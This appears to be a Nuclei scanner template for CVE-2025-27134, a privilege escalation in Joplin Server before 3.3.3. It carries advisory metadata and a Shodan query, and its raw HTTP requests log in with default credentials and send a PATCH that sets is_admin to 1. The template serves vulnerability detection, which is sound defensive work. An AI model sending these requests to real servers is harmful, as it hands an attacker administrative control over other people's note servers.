id: CVE-2025-27134

info:
  name: Joplin 3.3.3 Server - Privilege Escalation
  author: zonia3000
  severity: high
  description: |
    Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Prior to version 3.3.3, a privilege escalation vulnerability exists in the Joplin server, allowing non-admin users to exploit the API endpoint `PATCH /api/users/-id` to set the `is_admin` field to 1. The vulnerability allows malicious low-privileged users to perform administrative actions without proper authorization. This issue has been patched in version 3.3.3.
  impact: |
    Authenticated low-privileged users can escalate their privileges to administrator by setting the is_admin field through the PATCH /api/users endpoint, gaining complete control over the Joplin server.
  remediation: |
    Upgrade to Joplin version 3.3.3 or later that properly restricts the is_admin field modification.
  reference:
    - https://github.com/laurent22/joplin/security/advisories/GHSA-xj67-649m-3p8x
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27134
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-27134
    cwe-id: CWE-284
    epss-score: 0.01705
    epss-percentile: 0.74218
    cpe: cpe:2.3:a:joplin_project:joplin:*:*:*:*:*:-:*:*
  metadata:
    verified: true
    vendor: joplin_project
    product: joplin
    framework: "-"
    shodan-query: 'title:"Joplin Server"'
  tags: cve,cve2025,auth,joplin,oss,default-login,vuln

variables:
  username: admin@localhost
  password: admin

http:
  - raw:
      - |
        POST /api/sessions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "email": "{{username}}",
          "password": "{{password}}"
        }

      - |
        PATCH /api/users/{{user_id}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: sessionId={{session_id}}
        Content-Type: application/json

        { "is_admin": 1 }

      - |
        GET /api/users HTTP/1.1
        Host: {{Hostname}}
        Cookie: sessionId={{session_id}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body_1,"user_id") && contains(body_1,"id")'
          - 'contains(user, "{{user_id}}")'
        condition: and

    extractors:
      - type: json
        part: body_1
        name: user_id
        json:
          - '.user_id'
        internal: true

      - type: json
        part: body_1
        name: session_id
        json:
          - '.id'
        internal: true

      - type: json
        name: user
        part: body_3
        json:
          - '.items[] | select(.is_admin == 1) | .id'
# digest: 4b0a00483046022100e720f856a2c42aec8ac14a120055ee88907fcbe2600aae62b42c0c0321c4c114022100c380833a1f9301addca96459dc00489a25c799ec827efc0c8cec97e31d62d6d2:922c64590222798bb761d5b6d8e72950